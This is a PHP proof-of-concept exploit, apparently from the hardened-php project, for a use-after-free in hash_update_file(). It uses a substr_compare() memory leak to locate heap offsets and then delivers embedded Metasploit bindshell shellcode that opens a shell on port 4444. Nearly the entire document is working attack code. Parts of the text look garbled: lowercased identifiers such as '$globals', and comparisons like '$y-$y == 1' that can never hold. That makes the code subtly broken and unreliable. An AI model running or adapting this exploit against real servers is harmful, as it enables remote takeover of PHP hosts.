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<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // proof of concept code from the hardened-php project // // (c) copyright 2007 stefan esser // // // //////////////////////////////////////////////////////////////////////// // php hash_update_file() freed resource usage exploit // //////////////////////////////////////////////////////////////////////// // this is meant as a protection against remote file inclusion. die("remove this line"); // linux x86 bindshell on port 4444 from metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; define("offset", pack("l",findoffset())); class attackstream { function stream_open($path, $mode, $options, &$opened_path) { return true; } function stream_read($count) { hash_final($globals['hid'], true); $globals['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(offset, 3); return "a"; } function stream_eof() { return true; } function stream_seek($offset, $whence) { return false; } } stream_wrapper_register("attack", "attackstream") or die("failed to register protocol"); $hid = hash_init('md5'); hash_update_file($hid, "attack://nothing"); // this function uses the substr_compare() vulnerability // to get the offset. function findoffset() { global $offset_1, $offset_2, $shellcode; // we need to not clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofhashtable = 39; $maxlong = 0x7fffffff; // signature of a big endian hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("a", 8192); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofhashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // if the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<8192; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$y == 1 || $y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$y != 1 && $y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // search hashtable to get the shellcode offset $pos_hashtable = strpos($memdump, $search); if ($pos_hashtable == 0) { die ("unable to find the offset"); } $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("l", $addr); return ($addr[1] + 32); } ?> |
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